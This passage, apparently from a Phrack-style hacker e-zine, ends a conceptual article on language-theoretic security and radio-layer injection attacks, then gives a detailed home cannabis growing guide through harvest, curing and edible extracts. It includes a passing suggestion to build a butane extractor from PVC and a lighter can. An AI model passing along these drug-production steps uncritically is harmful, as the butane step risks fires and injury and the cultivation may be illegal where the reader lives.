and Meredith L. Patterson. Watch their talks [3,4] and look for
|
||
|
upcoming papers at http://langsec.org
|
||
|
|
||
|
Such a language-theoretic analysis at L1 would have revealed this
|
||
|
immediately. Valid frames are phrases in the language of bytes that a
|
||
|
digital radio continually pulls out of the air, and the L1 seen as an
|
||
|
automaton for accepting valid phrases (frames) should reject
|
||
|
everything else.
|
||
|
|
||
|
The start-of-frame-delimiter matching functionality within the radio
|
||
|
chip is just a shift register and a comparison circuit -- too simple
|
||
|
an automaton, in fact, to guarantee anything about the validity of the
|
||
|
frame. With this perspective, the misconception of L2 expecting frame
|
||
|
encapsulation and validity becomes clear, almost trivial. The key to
|
||
|
finding the vulnerability is in choosing this perspective.
|
||
|
|
||
|
Conversely, there is no nicer source of 0-day than false assumptions
|
||
|
about what is on the other side of an interface boundary of a
|
||
|
textbook-blessed design. The convenient fiction of classic
|
||
|
abstractions leads one to imagine a perfect and perfectly trustworthy
|
||
|
machine on the other side, which takes care of serving up only the
|
||
|
right kind of inputs to one's own layer. And so layers of abstraction
|
||
|
become boundaries of competence.
|
||
|
|
||
|
References:
|
||
|
|
||
|
[1] Travis Goodspeed, Sergey Bratus, Ricky Melgares, Rebecca Shapiro,
|
||
|
Ryan Speers,
|
||
|
"Packets in Packets: Orson Welles' In-Band Signaling Attacks for
|
||
|
Modern Radios",
|
||
|
USENIX WOOT, August 2011,
|
||
|
http://www.usenix.org/events/woot11/tech/final_files/Goodspeed.pdf
|
||
|
|
||
|
[2] Travis Goodspeed,
|
||
|
Remotely Exploiting the PHY Layer,
|
||
|
http://travisgoodspeed.blogspot.com/2011/09/
|
||
|
remotely-exploiting-phy-layer.html
|
||
|
|
||
|
[3] Len Sassaman, Meredith L. Patterson,
|
||
|
"Exploiting the Forest with Trees",
|
||
|
BlackHat USA, August 2010,
|
||
|
http://www.youtube.com/watch?v=2qXmPTQ7HFM
|
||
|
|
||
|
[4] Len Sassaman, Meredith L. Patterson,
|
||
|
"Towards a formal theory of computer insecurity: a language-theoretic
|
||
|
approach"
|
||
|
Invited Lecture at Dartmouth College, March 2011,
|
||
|
http://www.youtube.com/watch?v=AqZNebWoqnc
|
||
|
|
||
|
|
||
|
|=[ 0x07 ]=--=[ The 1130 Guide to Growing High-Quality Cannabis - 1130 ]-=|
|
||
|
|
||
|
So you wanna grow marijuana? You wanna get high off your own buds? Well
|
||
|
this guide will surely teach you how. I'll assume you're already somewhat
|
||
|
familiar with Mary-Jane, so I won't explain all the jargon in deep detail.
|
||
|
|
||
|
|
||
|
Table of Contents
|
||
|
|
||
|
0x00: General Botany -- basic plant knowledge
|
||
|
0x01: Environment -- air, temperature, and humidity
|
||
|
0x02: Container -- size and shape
|
||
|
0x03: Water -- temperature and filtering
|
||
|
0x04: Nutes -- plant food
|
||
|
0x05: Conductivity and pH -- don't burn the roots
|
||
|
0x06: Hydroponics -- how-to hydro
|
||
|
0x07: Light -- which and why
|
||
|
0x08: Cloning -- make 'em root
|
||
|
0x09: Vegging -- big 'n' bushy
|
||
|
0x0A: Flowering -- dense and dank
|
||
|
0x0B: Harvest -- chop, dry, and cure
|
||
|
0x0C: Extracts -- smoke, vape, and cook
|
||
|
0x0D: Signs and Symptoms -- oh noes, wtf mang!
|
||
|
|
||
|
|
||
|
|
||
|
0x00: General Botany
|
||
|
|
||
|
If you've never grown before, growing cannabis can be difficult. Really
|
||
|
though, it just depends on how much time you put in. As long as you check
|
||
|
in on your plants 3-4 times a day, you'll begin to learn enough about them
|
||
|
to grow some really dank buds. But to get you started, here are a few
|
||
|
things you should know.
|
||
|
|
||
|
Plants need light, water, air, and food to grow. A lack of any one of these
|
||
|
at best will slow its growth and at worst will cause part or all of it to
|
||
|
die. Light is generally the most limiting factor in determining a plant's
|
||
|
growth rate, but that assumes all other factors are maxed. Plants absorb
|
||
|
water and nutrients through their roots and carbon dioxide (CO2) through
|
||
|
their leaves. They also need a bit of oxygen which they absorb through both
|
||
|
leaves and roots.
|
||
|
|
||
|
Chloryphyll is a chemical in their leaves that's used as a catylyst with
|
||
|
energy from light to convert CO2 and water into sugars and oxygen.
|
||
|
Chloryphyll-a is also what gives leaves their green color, while
|
||
|
Chloryphyll-b is responsible for the yellow color of leaves.
|
||
|
|
||
|
Plants need oxygen in order to burn energy to stay alive and grow, like we
|
||
|
do, but plants produce much more oxygen than they consume. Plants are not
|
||
|
able to move enough oxygen from the leaves down to the roots, so roots must
|
||
|
have access to some oxygen in order to stay alive. When soil dries, air
|
||
|
fills the space in the ground, and so soil must dry enough so that the
|
||
|
roots can have air to breathe.
|
||
|
|
||
|
Cannabis has two main kinds of roots. There are the taproots which can grow
|
||
|
very large and persist through dryness, and there are the feeder hairs.
|
||
|
Feeder hairs will not survive very long without water, but since the roots
|
||
|
need air to breathe the soil must dry out enough between waterings. Thus,
|
||
|
it is important to let soil dry enough so it is not wet but still retains
|
||
|
enough moisture to keep the feeder hairs alive. If they die, they must grow
|
||
|
back before the plant can begin absorbing more nutrients. An easy way to
|
||
|
tell if the soil is properly dry is if the color is still dark (not a
|
||
|
lighter brown as when the dirt is "bone-dry") but the soil does not stay
|
||
|
clumped together as it does when wet.
|
||
|
|
||
|
Plants require three macronutrients to survive: N-P-K, or Nitrogen
|
||
|
(Nitrates), Phosphorus (Phosphates), and Potassium (Potash). Nitrogen is
|
||
|
primarily responsible for the green color in vegetative matter. It is not
|
||
|
as important in fruits and flowers. Phosphorus is needed for root growth
|
||
|
and is also the primary nutrient for fruits and flowers. Potassium is used
|
||
|
throughout the plant to provde support; more Potassium means stronger,
|
||
|
stiffer stems and branches which provide better support for dense buds.
|
||
|
|
||
|
|
||
|
0x01: Environment
|
||
|
|
||
|
Although cannabis grows in pretty much any condition (it is a weed, after
|
||
|
all), optimal conditions produce optimal growth rates. Certain strains may
|
||
|
be more picky than others, but generally you want the following:
|
||
|
|
||
|
Humidity
|
||
|
Cloning: 90-100%
|
||
|
Vegging: 50-80%
|
||
|
Flowering: 40-50%
|
||
|
|
||
|
Temperature should always be 68-75F (20-24C). Lower temps increase
|
||
|
humidity, and higher temps reduce humidity. Plants drink through their
|
||
|
leaves as well as their roots, and they need humidity to do this. They also
|
||
|
transpire through their leaves when temperatures are too high. Keep this in
|
||
|
mind when checking your levels and diagnosing your plants. For instance, if
|
||
|
the environment's been hotter than ideal and the air is dry, a small
|
||
|
watering in between regular waterings may be necessary to protect the roots
|
||
|
near the topsoil and prevent the plant from going into shock.
|
||
|
|
||
|
Air flow is very important. Basically you want to see the leaves moving at
|
||
|
all times. Proper air flow does two things: it moves the air right around
|
||
|
the leaves so the plant always has access to CO2, and the continuous leaf
|
||
|
movement causes the plant to react and grow stronger stems which you need
|
||
|
to support those massively dense buds you wanna grow. Too much airflow
|
||
|
isn't a big deal as long as the plants aren't falling over. Technically,
|
||
|
moving air will reduce air pressure and thus temperature will drop
|
||
|
slightly, so if heat is a problem for you consider keeping your fan on a
|
||
|
higher setting. But the more air flow, the more the plants transpire, and
|
||
|
the more water they'll need.
|
||
|
|
||
|
|
||
|
0x02: Container
|
||
|
|
||
|
Cannabis needs a proper container to provide optimal root growth. In shape,
|
||
|
the best container is wider than it is tall. If growing outdoors, a raised
|
||
|
bed of good soil does wonders. Indoors, wide pots or trays work very well.
|
||
|
You'll need to decide if you want to grow in soil or a hydroponic medium.
|
||
|
There are pros and cons to both. Soil with compost is ideal for outdoor
|
||
|
organic growing -- after preparation nature helps keep the roots healthy,
|
||
|
and with a good compost mix most of the time plain water is all that's
|
||
|
needed. If growing in pots, soil is still a good choice, but you will
|
||
|
definitely have to supplement the water with additional nutrients, or you
|
||
|
can use dry fertilizers that you work into the topsoil.
|
||
|
|
||
|
Indoor growing is much different than outdoor, and growing hydroponically
|
||
|
adds a-whole-nother set of variables. If you're lazy, you have two options:
|
||
|
grow in soil (soil is very forgiving), or build an automated setup. An
|
||
|
automated setup is one that takes care of watering for you, so all you need
|
||
|
to do is regular checkups, trimming, and checking on your reservoir. I'll
|
||
|
go into detail about different hydroponic setups later on.
|
||
|
|
||
|
|
||
|
0x03: Water
|
||
|
|
||
|
Yes, a whole section on water, albeit a short one. Water temperature should
|
||
|
be a little less than air temperature, although the roots will tolerate
|
||
|
pretty cold water. Never give your plants water that's less than 50F (10C);
|
||
|
you'll risk shocking the roots and stunting growth for a few days.
|
||
|
|
||
|
Water should be clean of excess salts, especially chlorine and chloramines.
|
||
|
Soil gardens will tolerate the chlorines much better than hydro, but you
|
||
|
should really get a water filter. A carbon filter is usually fine, but if
|
||
|
your water source is really bad you might want to consider Reverse-Osmosis.
|
||
|
RO filters are expensive, but they also reduce the conductivity of the
|
||
|
water to the lowest possible levels, allowing you to add more nutrients
|
||
|
without burning the roots. Carbon filters are pretty cheap, and you could
|
||
|
even use a regular drinking water filter.
|
||
|
|
||
|
|
||
|
0x04: Nutes
|
||
|
|
||
|
I do love organic; there's nothing quite like the taste of organically
|
||
|
grown buds, but I do find that synthetic nutrients give amazing results.
|
||
|
If you're not growing for personal use, synthetics are cheaper and can give
|
||
|
very high yields. Either way, I'd recommend using a premade blend made by a
|
||
|
name-brand company -- when you're starting out it's just not worth trying
|
||
|
to play chemist, just get the kit. I use liquid nutrients for both hydro
|
||
|
and soil, but dry feeds will work in soil and any non-recirculating hydro
|
||
|
setup (e.g. feed and drain in coco). Liquid nutrients are designed to be
|
||
|
instantly accessible by the plants, whereas dry feeds are usually
|
||
|
time-release.
|
||
|
|
||
|
Here are some rough empirical NPKs:
|
||
|
Cloning: 1-3-4
|
||
|
Vegging: 3-2-4
|
||
|
Flowering: 1-4-5
|
||
|
|
||
|
Aside from Nitrogen, Phosphates, and Potash, plants also need
|
||
|
micronutrients. Iron, Calcium, and Magnesium and at the top, with still
|
||
|
many others required to proper growth. Most organic mixes will have these
|
||
|
even though they won't specify on the bottle, but if you're growing with
|
||
|
synthetics you will have to supplement. Molasses has Fe, Ca, and Mg, and
|
||
|
the sugar content helps both feed microbials and rinse out the growing
|
||
|
medium. Various Vitamin B-1 mixes will have most necessary micronutrients.
|
||
|
Cal-Mag supplements are good too, but be aware when using in conjunction
|
||
|
with molasses so you don't overfeed.
|
||
|
|
||
|
In general, I recommend starting with less than half of the listed usage on
|
||
|
the nutrient containers and then increasing as you see fit. It's a lot
|
||
|
easier to see that your plants' leaves are a lighter green than you would
|
||
|
want and then to increase the Veg mix than to use too much and burn your
|
||
|
plants and have to start all over. If growing in soil, try starting at a
|
||
|
quarter-strength and using it with every watering. Increase as necessary to
|
||
|
compensate for light color and plant size.
|
||
|
|
||
|
|
||
|
0x05: Conductivity and pH
|
||
|
|
||
|
Soil/medium pH and water pH are measured differently, but as long as you
|
||
|
regulate the water pH there's no reason to worry about the soil. If you can
|
||
|
afford it, I highly recommend getting a pH/Conductivity meter; some also
|
||
|
measure PPM (parts per million), though it's usually a conversion from
|
||
|
conductivity (measures in milliSiemens). I don't even pay attention to the
|
||
|
usage on the nutrient bottle anymore, but I fill my resevoir according to
|
||
|
the conductivity. I find it to be much more accurate than measuring the
|
||
|
volume of water in gallons and using measuring cups for nutrients.
|
||
|
|
||
|
Required pH will depend entirely on your medium. In pure hydro/aero setups,
|
||
|
this is 5.6-5.8 for veg and 5.8-6.0 for flowering. In coco coir, this is a
|
||
|
bit higher: 6.0-6.2 for veg and 6.2-6.5 for flowering. In soil, it really
|
||
|
depends on what's in the mix, but it usually ranges in 6.5-6.8 for veg and
|
||
|
6.8-7.0 for flowering. Cloning should be in between the values for veg and
|
||
|
flowering (5.8 for hydro, 6.2 for coco, and 6.8 for soil).
|
||
|
|
||
|
pH mostly affects the nutrients that are available for the roots to absorb.
|
||
|
The lower ranges increase nitrogen uptake, and the higher ranges increase
|
||
|
phosphates. Since nitrogen is more important for veg and phosphate for
|
||
|
flowering, this explains why the ranges are different for each phase. If pH
|
||
|
varies by a point or two, it's not a big deal, but too strong in either
|
||
|
direction can cause root-burn as well as deficiencies in both macro and
|
||
|
micronutrients.
|
||
|
|
||
|
Conductivity requirements depend on the age/size of the plant. I suggest
|
||
|
starting with these maximums and steadily increasing for larger containers
|
||
|
so long as no signs of problems occur: For soil/hydro: Cloning: 0.8/1.2 mS
|
||
|
Vegging: 1.6/2.0 mS (containers up to 2 gallons) Flowering: 2.4/3.0 mS
|
||
|
(containers up to 5 gallons)
|
||
|
|
||
|
In general, conductivity >3.0 mS can be dangerous, so above that range only
|
||
|
increase once/week and only 0.1-0.2 mS at a time.
|
||
|
|
||
|
|
||
|
0x06: Hydroponics
|
||
|
|
||
|
Hydro is awesome. Plants have the ability to grow continuously and at a
|
||
|
very rapid pace, but they need extra care, and problems with nutrients or
|
||
|
pH often occur so quickly that by the time you realize there's a problem
|
||
|
it's usually too late. For first-timers, I'd recommend coco coir. If you're
|
||
|
ambitious, consider building your own aeroponic system. In general, there
|
||
|
are two types of systems: recirculating, and drain-to-waste. I'll list each
|
||
|
medium and give some details about which system is appropriate. For
|
||
|
recirculating, you'll want to drain and change your reservoir at least once
|
||
|
a week in addition to topping it off regularly, whereas if using a
|
||
|
drain-to-waste system only topping off is necessary.
|
||
|
|
||
|
Coco coir:
|
||
|
Coco coir is a part of the coconut husk that by itself can take years to
|
||
|
break down, hence its designation as a hydroponic medium. It's commonly
|
||
|
used as bedding for worms. It's highly absorbent and expands to sometimes
|
||
|
five times its dry volume when wet. It also holds air very well. Coco coir
|
||
|
is nice because it's very difficult to over-water your plants with it since
|
||
|
it holds so much air, and the shrinking in between waterings adds
|
||
|
additional air to the medium. Drain-to-waste is best for coco because bits
|
||
|
of the medium will also drain out, and you don't want these clogging up
|
||
|
your pump or lines. Depending on the size of the container and plants, coco
|
||
|
requires 1-3 feedings/day.
|
||
|
|
||
|
Rockwool:
|
||
|
Rockwool is woven fibers of rock made by Grodan. Rockwool is very
|
||
|
absorbent, and it's easy to see when it is drying up. Like coco, rockwool
|
||
|
is very porous and holds air very well. I prefer rockwool for cloning. Ebb
|
||
|
and flow (flood and drain, recirculating) or drain-to-waste both work well
|
||
|
with rockwool. Fast growing plants may require up to 5-6 waterings/day
|
||
|
depending on the size of medium. Timers come in handy here. For ebb and
|
||
|
flow, flood for 10-15 minutes, then drain. For drain-to-waste, feed as
|
||
|
needed, allowing 5-10% of the water feed to drain, ensuring complete
|
||
|
saturation of the medium.
|
||
|
|
||
|
Hydroton, Perlite, or other Pebbles:
|
||
|
Hydroton is a manufactured expanded-clay medium. Perlite is a volcanic
|
||
|
glass/rock, also expanded, and very porous. Both are better than filling a
|
||
|
container with rocks/pebbles, although you could do that if you're really
|
||
|
trying to save money. Hydroton and perlite do hold some water, but they
|
||
|
drain very quickly and so should not be left without water for an extended
|
||
|
period of time.
|
||
|
Ebb and flow or continuous drip work well here. Drain-to-waste is very
|
||
|
inefficient since the medium doesn't hold water for very long, and so very
|
||
|
accurate timings would be needed to prevent excessive waste. If using a
|
||
|
continuous drip, consider aerating the reservoir with an air pump to ensure
|
||
|
roots have access to oxygen. For ebb and flow, flood at least 1-2 times per
|
||
|
hour with no more than 15 minutes of dry time.
|
||
|
|
||
|
Aeroponic
|
||
|
Aeroponic growing is sweet. There's little-to-no chance of overwatering or
|
||
|
underwatering (unless your pump breaks) as the roots always have access to
|
||
|
water, nutrients, and air. For this, you'll need to contruct a sprayer
|
||
|
assembly inside a reservoir. Rubbermaid containers are cheap and work well.
|
||
|
cut 2" holes in the lid (or whatever size gasket you have) and fill the
|
||
|
holes with cylindrical foam gaskets to hold the plants. Plant roots hang
|
||
|
down freely into the reservoir. Construct the sprayer assembly using PVC
|
||
|
piping and small 180- and 360-degree sprayers depending on placement. The
|
||
|
assembly should be as short as possible but have at least 2-3 inches above
|
||
|
the pump and below the sprayers at the top. Use a submersible pump, and
|
||
|
fill the reservoir to above the pump but below the sprayers. You will need
|
||
|
an NFT (Nutrient Film Technique) style timer for the pump. These typically
|
||
|
operate on cycles of 1 minute on and 4 minutes off or 3 minutes on and 5
|
||
|
minutes off. I've seen cheap adjustable ones on Ebay. You can also make one
|
||
|
yourself with an arduino and a relay pretty easily. Just make sure that the
|
||
|
cycle allows for time in between sprayings to provide the roots access to
|
||
|
air. An air pump here also works well.
|
||
|
|
||
|
Deep Water Culture:
|
||
|
DWC is simple, easy, and efficient. It's basically an aeroponic system but
|
||
|
with a much deeper reservoir, allowing the roots to grow down into the
|
||
|
nutrient solution. A sprayer system similar to the aeroponic one described
|
||
|
above can be used, or a top-drip works as well. For a top-drip, fill a pot
|
||
|
with Hydroton or another medium, and set the pump to continuously pump feed
|
||
|
from the reservoir underneath to the pot on top. An aerator for the
|
||
|
nutrient solution is necessary here so that roots hanging down into the
|
||
|
solution have access to air.
|
||
|
|
||
|
Aquaponic:
|
||
|
When I first read about this I was blown away. Aquaponic combines hydro
|
||
|
with an aquarium. Basically, you have a large reservoir with a DWC setup,
|
||
|
but additionally you have fish living inside as well. The fish and plants
|
||
|
eat each other's waste (just like in nature!), and they both feed on fish
|
||
|
meal which is one of the most common organic plant foods. Guppies are
|
||
|
usually the best choice for fish since they're cheap and reproduce quickly,
|
||
|
although any freshwater fish will work.
|
||
|
|
||
|
|
||
|
0x07: Light
|
||
|
|
||
|
Light is arguably the most important factor in growing. Typically it is the
|
||
|
most limiting factor. There are many different types of lights, and each
|
||
|
has its own benefits. Halogen lights are most common in professional grows,
|
||
|
fluorescents are cheap and efficient, and LEDs are gaining popularity.
|
||
|
Here's some info on each:
|
||
|
|
||
|
Good ol' incandescents:
|
||
|
These provide light, they sure do, but they also provide heat. They're best
|
||
|
used as supplemental light when you need the added heat as well, otherwise
|
||
|
just go with a fluorescent.
|
||
|
|
||
|
Fluorescents:
|
||
|
Fluorescents come in many sizes, shapes, and spectrums. Spectrum is rated
|
||
|
by color temperature in Kelvins. A 6500K light is usually recommended as it
|
||
|
provides the closest spectrum to the Sun's white light. In general, the
|
||
|
higher the K, the better. Fluorescents are great for all phases of growth,
|
||
|
but they're best suited for clones, mothers, and vegetative plants when you
|
||
|
have an HPS available for flowering. Even so, they're always great to
|
||
|
consider as supplementals since they're so cheap and efficient.
|
||
|
|
||
|
Metal-Hallides:
|
||
|
MH Halogens are extremely effective for the vegetative phase. They work for
|
||
|
flowering as well, but are not as effective as HPS lights. A 400-watt MH
|
||
|
can cover a 3x3ft area, 600-watt covers 4x4', and 1000-watt covers 6x6'.
|
||
|
Of course, additional light is nice.
|
||
|
|
||
|
High-Pressure Sodium:
|
||
|
HPS lights are best for flowering. They have a spectrum more concentrated
|
||
|
in the red/yellow end which plants tend to absorb more during the autumn
|
||
|
season (when flowering). In every test I've ever seen, HPS lights
|
||
|
outperform all other lights in flowering production, watt for watt (or
|
||
|
lumen-equivalent in the case of LEDs and fluorescents). HPS lights also
|
||
|
generate a lot of heat, so keep that in consideration.
|
||
|
|
||
|
LEDs:
|
||
|
LED lights are extremely efficient, but they're also expensive. In the long
|
||
|
run, they're worth it, but they can take a few cycles to pay themselves
|
||
|
off. LEDs come in combinations of red and blue (more red for flowering),
|
||
|
and sometimes other colors are added as well. If space permits, I'd still
|
||
|
recommend using an HPS along with LEDs for flowering, but LEDs are great
|
||
|
for the vegetative phase.
|
||
|
|
||
|
With all lights, the inverse-square law applies, meaning if you cut the
|
||
|
distance from light to plant in half, you quadruple the light received, and
|
||
|
vice versa, if you double the distance you quarter the light received. Too
|
||
|
much light can be a bad thing. Plants that are too small or do not have
|
||
|
enough water/nutrients to use will not be able to use all the light that
|
||
|
hits them and their leaves will burn. Also, there are areas close to the
|
||
|
lights that are called hotspots. These are areas where reflected light is
|
||
|
concentrated, and plants in these spots are more likely to burn since the
|
||
|
light there is very intense. The rule-of-thumb is use your hand: if it's
|
||
|
too hot for you, it's too hot for the plants.
|
||
|
|
||
|
|
||
|
0x08: Cloning
|
||
|
|
||
|
Cloning is the process of taking cuttings from a "mother" and allowing
|
||
|
these cuttings to root into plants of their own. In addition to your mother
|
||
|
plant, you'll need a sharp pair of snips, a humidity dome, cloning medium,
|
||
|
filtered water, cloning gel/powder (optional), nutrients (optional but
|
||
|
recommended), and a light that will be on 24-hours/day (a single
|
||
|
fluorescent is sufficient). Here is a step-by-step process:
|
||
|
|
||
|
Prepare your mothers by giving them plain water (along with a flushing
|
||
|
solution if you like, a bit of molasses works well) at least a day before
|
||
|
cutting clones. This helps flush out excess Nitrogen so that the clones can
|
||
|
root more quickly.
|
||
|
|
||
|
Prepare the cloning solution. This can be plain water, but I like to add a
|
||
|
mix of flowering nutrients (better than vegging nutrients for rooting,
|
||
|
nitrogen is bad for cloning) and kelp and algae extracts. Balance the pH of
|
||
|
the solution according to the medium you're using, and throoughly soak the
|
||
|
medium. I use rockwool. Other alternatives are Groplugs, Coco, and soil.
|
||
|
Any growing medium can work, really.I also like to keep a pool of solution
|
||
|
in the bottom tray of the humidity dome to help keep the humidity high as
|
||
|
well as provide food for the plants once they root. You can even allow the
|
||
|
medium to soak for the first 3-4 days of cloning to help speed up root
|
||
|
growth, just be sure to drain it after that.
|
||
|
|
||
|
Cut the clones. I've cut both small and tall clones, and the small ones
|
||
|
work very well too. Leave at least 2" (about 5cm) of stem underneath the
|
||
|
highest leaves. You can trim leaves off to save space, if you want. This
|
||
|
allows you to pack more clones inside the dome. Otherwise, I like to leave
|
||
|
the leaves on (except for the bottom section that's inside the medium). You
|
||
|
can place the clone directly in the medium, or you can shave and split the
|
||
|
bottom. Splitting the bottom of the stem and shaving off the outer-layer of
|
||
|
the bottom of the stem increases the surface area of the cambium layer,
|
||
|
kind of like a stemcell layer. From here is where the roots grow. Exposing
|
||
|
more can increase the rooting time by a few days, but often you will get
|
||
|
much more vigorous root growth. I prefer this method.
|
||
|
|
||
|
Dip the stem tip in cloning gel/powder, if you're using it (I don't), then
|
||
|
plant the clones inside the medium, and cover the dome. If cutting many
|
||
|
clones, I like to keep the dome partially covered (for those already
|
||
|
planted) so they don't start wilting right away.
|
||
|
|
||
|
After they're all planted and the dome is covered, place the dome under a
|
||
|
light that will be on 24-hours/day. Clones need very little light to root,
|
||
|
so a single fluorescent is sufficient here, or just some ambient light that
|
||
|
will not be shut off.
|
||
|
|
||
|
Clones can take anywhere from 5-14 days to root depending on the factors
|
||
|
discussed above. I like to keep my clones rooting in the dome until their
|
||
|
root masses are about a foot long, though the plants will still be short.
|
||
|
This ensures the best chance of avoiding shock when transplanting as well
|
||
|
as fairly explosive growth within a couple days of transplanting.
|
||
|
|
||
|
|
||
|
0x09: Vegging
|
||
|
|
||
|
Once clones have rooted, the vegetative phase begins. Most strains require
|
||
|
at least 18 hours of light/day to prevent them from flowering, though some
|
||
|
make require more, up to 24 hours/day. This is the easiest phase to grow in
|
||
|
since the plants are vigorous and large enough to tolerate shock.
|
||
|
|
||
|
Transplant your clones into the medium of your choice, and begin feeding a
|
||
|
mild nutrient solution. For soil gardens, plain water can be used for the
|
||
|
first week. Increase the concentration of the nutrient solution over time
|
||
|
to accomodate the size of the plant. Consider transplanting to a larger
|
||
|
container after two weeks of continuous, vigorous growth.
|
||
|
|
||
|
Depending on your setup, you'll want a different target size of your veg
|
||
|
plants. A sea of green, for instance, requires many plants next to each
|
||
|
other so that they basically form a horizontal plane across their tops, but
|
||
|
if you're growing in a small closet with 2-3 plants then you'll probably
|
||
|
want them as big as they can fit.
|
||
|
|
||
|
There are different stress-techniques used to promote larger growth.
|
||
|
Topping is one of the most common. Topping entails cutting off the newest
|
||
|
growth of the highest node, generally without trimming much of the larger
|
||
|
leaf matter. Topping forces the plant's vascular system to merge at this
|
||
|
point, causing more growth nodes to be produced here at the top of the
|
||
|
plant. Topping is a preferred method because the top buds of each branch
|
||
|
are generally the largest, and more top nodes mean more top nugs.
|
||
|
|
||
|
Another technique used is bending. Bending entails taking the tallest
|
||
|
branch of the plant and bending it down and to the side, usually tying it
|
||
|
down with gardening wire or string. Bending exposes more of the lower nodes
|
||
|
to direct light, causing them to grow larger. It also allows more buds to
|
||
|
receive direct light, making it another preferred method by many growers.
|
||
|
|
||
|
Creasing and snapping branches are a form of "supercropping", and they
|
||
|
combine the benefits of topping and bending. The idea is to break the inner
|
||
|
part of a branch while keeping it attached to the plant. Lke topping, this
|
||
|
causes a merging of the vascular system, and this section of branch later
|
||
|
on will grow into a nice bulge. And like bending, the top nodes are pushed
|
||
|
outward to allow more light to hit nodes underneath. It is usually best to
|
||
|
bandage the plant after supercropping until it has completely healed since
|
||
|
this technique can cause a good deal of damage to the plant if left
|
||
|
unattended. It's usually best to delay flowering for a couple of weeks
|
||
|
after supercropping to allow the plant to fully heal and build support for
|
||
|
those super dank buds it'll be growing.
|
||
|
|
||
|
|
||
|
0x0A: Flowering
|
||
|
|
||
|
Once your plant has reached the desired size, it's time for flowering.
|
||
|
Unless you're growing an autoflowering variety, the flowering cycle is
|
||
|
typically triggered by a change in nighttime length, and most often a
|
||
|
12-hour day/12-hour night cycle is used. Some plants will grow considerably
|
||
|
during the flowering phase, especially the African Sativas, so keep this in
|
||
|
mind; you don't want to trim the plant once it's in full flower production
|
||
|
as this causes considerable stress and can cause the female to produce some
|
||
|
seeds.
|
||
|
|
||
|
For the first couple weeks of flowering, convert about half of your
|
||
|
nutrient solution from the veg mix to the flower mix. Convert more to
|
||
|
flowering as time passes. After 2-3 weeks, a pure flowering mix should be
|
||
|
used. Once the mass of pistils have formed, increase the nutrient
|
||
|
concentration. Large, dense buds will develop, and some leaves may yellow
|
||
|
and drop. Toward the end of the cycle, pistils will change color (often
|
||
|
from white to orange/brown), and from here on consider flushing with plain
|
||
|
water. Flushing leaches leftover fertilizer from inside the plant, giving
|
||
|
it a much smoother burn. Plants that are harvested without flushing
|
||
|
typically will have harsh smoke, even after curing.
|
||
|
|
||
|
At the end of the flowering phase, the crystals on the buds, pistils,
|
||
|
leaves, and stems will first turn milky-white. After this, they begin to
|
||
|
brown. This is when they are ready to pick. Picking later will bring out
|
||
|
more of the Indica characteristics (more CBD/CBN), whereas picking earlier
|
||
|
will bring out more of the Sativa characteristics (more THC). Picking too
|
||
|
early, however, (before crystals have become milky-white) produces weak
|
||
|
buds, and often will just give you a headache when smoked.
|
||
|
|
||
|
If after flushing the crystals do not appear to change color, feed them
|
||
|
once more, with a full, strong solution, then continue flushing.
|
||
|
Additional buds will likely grow, and they will be ready soon after.
|
||
|
|
||
|
|
||
|
0x0B: Harvest
|
||
|
|
||
|
Harvest the plants by cutting at the base, then hang them upside-down (I
|
||
|
dare you to try hanging them right-side up....good luck) in a dark room to
|
||
|
dry. A small amount of airflow is necessary, so keep a fan on low but not
|
||
|
pointed directly at the plants. After at least one day of full darkness,
|
||
|
you can begin trimming. Trim off all the largest leaf first, leaving the
|
||
|
smaller, hashy leaves for manicuring later. If this trim does not have
|
||
|
crystals/hash on it, discard it, otherwise save for extracts.
|
||
|
|
||
|
Manicuring is a bit of a longer process. You can go the quick route, and
|
||
|
just trim the ends of the leaves sticking out like so many lazy-ass growers
|
||
|
do, or you can properly manicure your buds, making them look better and
|
||
|
preventing you from smoking all that leaf matter. To manicure, use a pair
|
||
|
of floral trimmers to reach in and cut the leaves at the base of the stem.
|
||
|
This is uaully easier then holding the buds upside down since the leaves
|
||
|
are below the buds. It takes practice and patience to avoid clipping off
|
||
|
whole buds, but even if you do just save them along with the other
|
||
|
manicured buds. After the leaf is clipped off, remove excess stem. If the
|
||
|
stems fold when you try to break them, the buds are not dry yet; place them
|
||
|
in a brown paper bag for further drying. Once they snap, place them in
|
||
|
glass jars for curing. Also, save all the trim from manicuring for making
|
||
|
extracts. You can place it in a ziploc bag and put it in the freezer until
|
||
|
you're ready to make extracts.
|
||
|
|
||
|
Check on the glass jars once a day. Open each jar, and take a whiff. You'll
|
||
|
notice over time how the smell changes. Check out the buds. Try snapping a
|
||
|
stem. If it folds, either put the buds back in a paper bag, or keep the jar
|
||
|
open a bit longer. For a quick, 2-week cure, keep jars open 15-60 minutes
|
||
|
per day depending on dryness. If buds are dry, don't leave the jar open too
|
||
|
long, but open it at least once a day to allow the air inside to exchange.
|
||
|
|
||
|
During the curing process, chemicals inside the buds break down, mainly
|
||
|
those that cause harsh smoke. The longer the cure, the smoother the smoke
|
||
|
is, but I can't say that anything longer than 8 weeks really makes a
|
||
|
difference. Once the buds smell like they have cured, try smoking it.
|
||
|
Continue the curing process until the smoke is smooth and clean.
|
||
|
|
||
|
|
||
|
0x0C: Extracts
|
||
|
|
||
|
Now here's the fun part. Personally, I like making kief, hash, and baked
|
||
|
goods. Butane extracts are also pretty easy. I won't go into detail on
|
||
|
those, but making a butane extractor with PVC and a lighter refill can is
|
||
|
simple, and there are plenty of guides available online.
|
||
|
|
||
|
If you want to make butter or oil for cooking, you can use kief or hash
|
||
|
you've already made and not worry about filtering, or you can use the trim
|
||
|
in its entirety. If using trim, fill a pot with the amount of butter or oil
|
||
|
you want to make. Add just enough water to the pot so that it won't splash
|
||
|
or boil over, but otherwise more water doesn't hurt. Mix it all together,
|
||
|
and add the trimmings. Simmer the mixture for a minimum of 2 hours and up
|
||
|
to 24 hours -- I definitely notice a difference between 2 and 24, but I
|
||
|
can't say where the threshold is in between. After it's done cooking,
|
||
|
transfer the mixture through a strainer into another pot or bowl, and place
|
||
|
this into the refrigerator. The oil or butter (along with the good stuff)
|
||
|
will rise to the top, and the water will sit at the bottom. Since THC and
|
||
|
the other chemicals are oil- but not water-soluble, none of it should be
|
||
|
lost in the water. If the oil hasn't solidified at all, placing it in the
|
||
|
freezer for a little while should do the trick (too long and the water will
|
||
|
freeze). Scoop out the oil or butter, and use for baking, or spread on
|
||
|
toast!
|
||
|
|
||
|
Making water hash is pretty easy. Get yourself a set of extract bags
|
||
|
(minimum 3) including at least either a 73-ish or 90-ish micron bag. In a
|
||
|
set of 3 the others should be around 25 microns and at least 180 microns.
|
||
|
